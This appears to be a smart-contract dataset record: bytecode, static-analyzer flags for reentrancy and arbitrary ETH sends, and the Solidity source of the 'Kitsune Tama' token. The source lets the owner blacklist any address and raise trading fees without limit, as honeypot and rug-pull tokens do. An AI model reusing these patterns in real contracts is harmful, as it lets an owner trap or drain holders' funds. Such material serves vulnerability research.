815260026020526040902055611622816117c6565b61162c8483611810565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161167191815260200190565b60405180910390a3505050505050505050565b600754600090819069152d02c7e14af68000006116a1828261149e565b8210156116bf5750506007549269152d02c7e14af680000092509050565b90939092509050565b60008060008060008060008060006116e58a600954600a54611834565b92509250925060006116f561150e565b905060008060006117088e878787611883565b919e509c509a509598509396509194505050505091939550919395565b600061127383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611182565b6000806117748385611b23565b9050838110156112735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f2565b60006117d061150e565b905060006117de838361141f565b306000908152600260205260409020549091506117fb9082611767565b30600090815260026020526040902055505050565b60075461181d9083611725565b60075560085461182d9082611767565b6008555050565b600080808061184860646110d4898961141f565b9050600061185b60646110d48a8961141f565b905060006118738261186d8b86611725565b90611725565b9992985090965090945050505050565b6000808080611892888661141f565b905060006118a0888761141f565b905060006118ae888861141f565b905060006118c08261186d8686611725565b939b939a50919850919650505050505050565b6000602082840312156118e4578081fd5b813561127381611ba7565b600060208284031215611900578081fd5b815161127381611ba7565b6000806040838503121561191d578081fd5b823561192881611ba7565b9150602083013561193881611ba7565b809150509250929050565b600080600060608486031215611957578081fd5b833561196281611ba7565b9250602084013561197281611ba7565b929592945050506040919091013590565b60008060408385031215611995578182fd5b82356119a081611ba7565b946020939093013593505050565b6000602082840312156119bf578081fd5b813561127381611bbc565b6000602082840312156119db578081fd5b815161127381611bbc565b6000602082840312156119f7578081fd5b5035919050565b600080600060608486031215611a12578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a5757858101830151858201604001528201611a3b565b81811115611a685783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611b025784516001600160a01b031683529383019391830191600101611add565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b3657611b36611b91565b500190565b600082611b5657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b7557611b75611b91565b500290565b600082821015611b8c57611b8c611b91565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461060357600080fd5b801515811461060357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203925aec800d3c194012897c62117ad661bae772bc44b8d6e6b4b42b4c57dbfdf64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,714
0x5f9134173a3Dda1C649bdA42d18Cc4C12281692D
/** *Submitted for verification at Etherscan.io on 2022-04-05 */ // SPDX-License-Identifier: Unlicensed // TG @kitsunetama pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KitsuneTama is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Kitsune Tama"; string private constant _symbol = "KITAMA"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 48000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeJeets = 10; uint256 private _taxFeeJeets = 12; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 0; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress; address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public timeJeets = 2 minutes; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private isMaxBuyActivated = true; uint256 public _maxTxAmount = 480000 * 10**9; uint256 public _maxWalletSize = 960000 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; uint256 public _minimumBuyAmount = 480000 * 10**9 ; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; _marketingAddress=payable(_msgSender()); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(balanceOf(to) + amount < _maxWalletSize); if (isMaxBuyActivated) { if (block.timestamp <= launchTime + 5 minutes) { require(amount <= _minimumBuyAmount); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) { _redisFee = _redisFeeJeets; _taxFee = _taxFeeJeets; } else { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setPair() external onlyOwner{ require(!tradingOpen); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner { isMaxBuyActivated = _isMaxBuyActivated; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { _burnFee = amount; } function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner { _redisFeeJeets = amountRedisJeets; _taxFeeJeets = amountTaxJeets; } function setTimeJeets(uint256 hoursTime) external onlyOwner { timeJeets = hoursTime * 1 hours; } }
0x6080604052600436106102295760003560e01c806370a082311161012357806395d89b41116100ab578063dd62ed3e1161006f578063dd62ed3e14610664578063e0f9f6a0146106aa578063ea1644d5146106ca578063f2fde38b146106ea578063fe72c3c11461070a57600080fd5b806395d89b41146105b55780639ec350ed146105e45780639f13157114610604578063a9059cbb14610624578063c55284901461064457600080fd5b80637c519ffb116100f25780637c519ffb146105365780637d1db4a51461054b578063881dce60146105615780638da5cb5b146105815780638f9a55c01461059f57600080fd5b806370a08231146104cb578063715018a6146104eb57806374010ece14610500578063790ca4131461052057600080fd5b8063313ce567116101b15780634bf2c7c9116101755780634bf2c7c9146104405780635d098b38146104605780636b9cf534146104805780636d8aa8f8146104965780636fc3eaec146104b657600080fd5b8063313ce567146103af57806333251a0b146103cb57806338eea22d146103eb57806349bd5a5e1461040b5780634bdc18de1461042b57600080fd5b806318160ddd116101f857806318160ddd1461031d57806323b872dd1461034157806327c8f8351461036157806328bb665a146103775780632fd689e31461039957600080fd5b806306fdde0314610235578063095ea7b31461027c5780630f3a325f146102ac5780631694505e146102e557600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5060408051808201909152600c81526b4b697473756e652054616d6160a01b60208201525b60405161027391906120c2565b60405180910390f35b34801561028857600080fd5b5061029c610297366004611f6d565b610720565b6040519015158152602001610273565b3480156102b857600080fd5b5061029c6102c7366004611eb9565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102f157600080fd5b50601954610305906001600160a01b031681565b6040516001600160a01b039091168152602001610273565b34801561032957600080fd5b5066aa87bee53800005b604051908152602001610273565b34801561034d57600080fd5b5061029c61035c366004611f2c565b610737565b34801561036d57600080fd5b5061030561dead81565b34801561038357600080fd5b50610397610392366004611f99565b6107a0565b005b3480156103a557600080fd5b50610333601d5481565b3480156103bb57600080fd5b5060405160098152602001610273565b3480156103d757600080fd5b506103976103e6366004611eb9565b61083f565b3480156103f757600080fd5b506103976104063660046120a0565b6108ae565b34801561041757600080fd5b50601a54610305906001600160a01b031681565b34801561043757600080fd5b506103976108e3565b34801561044c57600080fd5b5061039761045b366004612087565b610adf565b34801561046c57600080fd5b5061039761047b366004611eb9565b610b0e565b34801561048c57600080fd5b50610333601e5481565b3480156104a257600080fd5b506103976104b1366004612065565b610b68565b3480156104c257600080fd5b50610397610bb0565b3480156104d757600080fd5b506103336104e6366004611eb9565b610bda565b3480156104f757600080fd5b50610397610bfc565b34801561050c57600080fd5b5061039761051b366004612087565b610c70565b34801561052c57600080fd5b50610333600a5481565b34801561054257600080fd5b50610397610c9f565b34801561055757600080fd5b50610333601b5481565b34801561056d57600080fd5b5061039761057c366004612087565b610cf9565b34801561058d57600080fd5b506000546001600160a01b0316610305565b3480156105ab57600080fd5b50610333601c5481565b3480156105c157600080fd5b506040805180820190915260068152654b4954414d4160d01b6020820152610266565b3480156105f057600080fd5b506103976105ff3660046120a0565b610d75565b34801561061057600080fd5b5061039761061f366004612065565b610daa565b34801561063057600080fd5b5061029c61063f366004611f6d565b610df2565b34801561065057600080fd5b5061039761065f3660046120a0565b610dff565b34801561067057600080fd5b5061033361067f366004611ef3565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156106b657600080fd5b506103976106c5366004612087565b610e34565b3480156106d657600080fd5b506103976106e5366004612087565b610e70565b3480156106f657600080fd5b50610397610705366004611eb9565b610e9f565b34801561071657600080fd5b5061033360185481565b600061072d338484610f89565b5060015b92915050565b60006107448484846110ad565b6107968433610791856040518060600160405280602881526020016122c7602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611750565b610f89565b5060019392505050565b6000546001600160a01b031633146107d35760405162461bcd60e51b81526004016107ca90612117565b60405180910390fd5b60005b815181101561083b576001600960008484815181106107f7576107f7612285565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061083381612254565b9150506107d6565b5050565b6000546001600160a01b031633146108695760405162461bcd60e51b81526004016107ca90612117565b6001600160a01b03811660009081526009602052604090205460ff16156108ab576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108d85760405162461bcd60e51b81526004016107ca90612117565b600d91909155600f55565b6000546001600160a01b0316331461090d5760405162461bcd60e51b81526004016107ca90612117565b601a54600160a01b900460ff161561092457600080fd5b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561098457600080fd5b505afa158015610998573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109bc9190611ed6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0457600080fd5b505afa158015610a18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3c9190611ed6565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a8457600080fd5b505af1158015610a98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610abc9190611ed6565b601a80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610b095760405162461bcd60e51b81526004016107ca90612117565b601355565b6017546001600160a01b0316336001600160a01b031614610b2e57600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b03163314610b925760405162461bcd60e51b81526004016107ca90612117565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b031614610bd057600080fd5b476108ab8161178a565b6001600160a01b038116600090815260026020526040812054610731906117c4565b6000546001600160a01b03163314610c265760405162461bcd60e51b81526004016107ca90612117565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610c9a5760405162461bcd60e51b81526004016107ca90612117565b601b55565b6000546001600160a01b03163314610cc95760405162461bcd60e51b81526004016107ca90612117565b601a54600160a01b900460ff1615610ce057600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610d1957600080fd5b610d2230610bda565b8111158015610d315750600081115b610d6c5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107ca565b6108ab81611848565b6000546001600160a01b03163314610d9f5760405162461bcd60e51b81526004016107ca90612117565b600b91909155600c55565b6000546001600160a01b03163314610dd45760405162461bcd60e51b81526004016107ca90612117565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b600061072d3384846110ad565b6000546001600160a01b03163314610e295760405162461bcd60e51b81526004016107ca90612117565b600e91909155601055565b6000546001600160a01b03163314610e5e5760405162461bcd60e51b81526004016107ca90612117565b610e6a81610e1061221e565b60185550565b6000546001600160a01b03163314610e9a5760405162461bcd60e51b81526004016107ca90612117565b601c55565b6000546001600160a01b03163314610ec95760405162461bcd60e51b81526004016107ca90612117565b6001600160a01b038116610f2e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107ca565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610feb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107ca565b6001600160a01b03821661104c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107ca565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166111115760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107ca565b6001600160a01b0382166111735760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107ca565b600081116111d55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107ca565b6001600160a01b03821660009081526009602052604090205460ff161561120e5760405162461bcd60e51b81526004016107ca9061214c565b6001600160a01b03831660009081526009602052604090205460ff16156112475760405162461bcd60e51b81526004016107ca9061214c565b3360009081526009602052604090205460ff16156112775760405162461bcd60e51b81526004016107ca9061214c565b6000546001600160a01b038481169116148015906112a357506000546001600160a01b03838116911614155b1561159857601a54600160a01b900460ff166113015760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107ca565b601a546001600160a01b03838116911614801561132c57506019546001600160a01b03848116911614155b156113de576001600160a01b038216301480159061135357506001600160a01b0383163014155b801561136d57506017546001600160a01b03838116911614155b801561138757506017546001600160a01b03848116911614155b156113de57601b548111156113de5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107ca565b601a546001600160a01b0383811691161480159061140a57506017546001600160a01b03838116911614155b801561141f57506001600160a01b0382163014155b801561143657506001600160a01b03821661dead14155b1561149257601c548161144884610bda565b61145291906121e4565b1061145c57600080fd5b601a54600160b81b900460ff161561149257600a5461147d9061012c6121e4565b421161149257601e5481111561149257600080fd5b600061149d30610bda565b601d5490915081118080156114bc5750601a54600160a81b900460ff16155b80156114d65750601a546001600160a01b03868116911614155b80156114eb5750601a54600160b01b900460ff165b801561151057506001600160a01b03851660009081526006602052604090205460ff16155b801561153557506001600160a01b03841660009081526006602052604090205460ff16155b15611595576013546000901561157057611565606461155f601354866119d190919063ffffffff16565b90611a50565b905061157081611a92565b61158261157d828561223d565b611848565b478015611592576115924761178a565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff16806115da57506001600160a01b03831660009081526006602052604090205460ff165b8061160c5750601a546001600160a01b0385811691161480159061160c5750601a546001600160a01b03848116911614155b156116195750600061173e565b601a546001600160a01b03858116911614801561164457506019546001600160a01b03848116911614155b1561169f576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a54141561169f576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b0384811691161480156116ca57506019546001600160a01b03858116911614155b1561173e576001600160a01b0384166000908152600460205260409020541580159061171b57506018546001600160a01b0385166000908152600460205260409020544291611718916121e4565b10155b1561173157600b54601155600c5460125561173e565b600f546011556010546012555b61174a84848484611a9f565b50505050565b600081848411156117745760405162461bcd60e51b81526004016107ca91906120c2565b506000611781848661223d565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561083b573d6000803e3d6000fd5b600060075482111561182b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107ca565b6000611835611ad3565b90506118418382611a50565b9392505050565b601a805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061189057611890612285565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156118e457600080fd5b505afa1580156118f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061191c9190611ed6565b8160018151811061192f5761192f612285565b6001600160a01b0392831660209182029290920101526019546119559130911684610f89565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac9479061198e908590600090869030904290600401612173565b600060405180830381600087803b1580156119a857600080fd5b505af11580156119bc573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b6000826119e057506000610731565b60006119ec838561221e565b9050826119f985836121fc565b146118415760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107ca565b600061184183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611af6565b6108ab3061dead836110ad565b80611aac57611aac611b24565b611ab7848484611b69565b8061174a5761174a601454601155601554601255601654601355565b6000806000611ae0611c60565b9092509050611aef8282611a50565b9250505090565b60008183611b175760405162461bcd60e51b81526004016107ca91906120c2565b50600061178184866121fc565b601154158015611b345750601254155b8015611b405750601354155b15611b4757565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611b7b87611c9e565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611bad9087611cfb565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611bdc9086611d3d565b6001600160a01b038916600090815260026020526040902055611bfe81611d9c565b611c088483611de6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c4d91815260200190565b60405180910390a3505050505050505050565b600754600090819066aa87bee5380000611c7a8282611a50565b821015611c955750506007549266aa87bee538000092509050565b90939092509050565b6000806000806000806000806000611cbb8a601154601254611e0a565b9250925092506000611ccb611ad3565b90506000806000611cde8e878787611e59565b919e509c509a509598509396509194505050505091939550919395565b600061184183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611750565b600080611d4a83856121e4565b9050838110156118415760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107ca565b6000611da6611ad3565b90506000611db483836119d1565b30600090815260026020526040902054909150611dd19082611d3d565b30600090815260026020526040902055505050565b600754611df39083611cfb565b600755600854611e039082611d3d565b6008555050565b6000808080611e1e606461155f89896119d1565b90506000611e31606461155f8a896119d1565b90506000611e4982611e438b86611cfb565b90611cfb565b9992985090965090945050505050565b6000808080611e6888866119d1565b90506000611e7688876119d1565b90506000611e8488886119d1565b90506000611e9682611e438686611cfb565b939b939a50919850919650505050505050565b8035611eb4816122b1565b919050565b600060208284031215611ecb57600080fd5b8135611841816122b1565b60006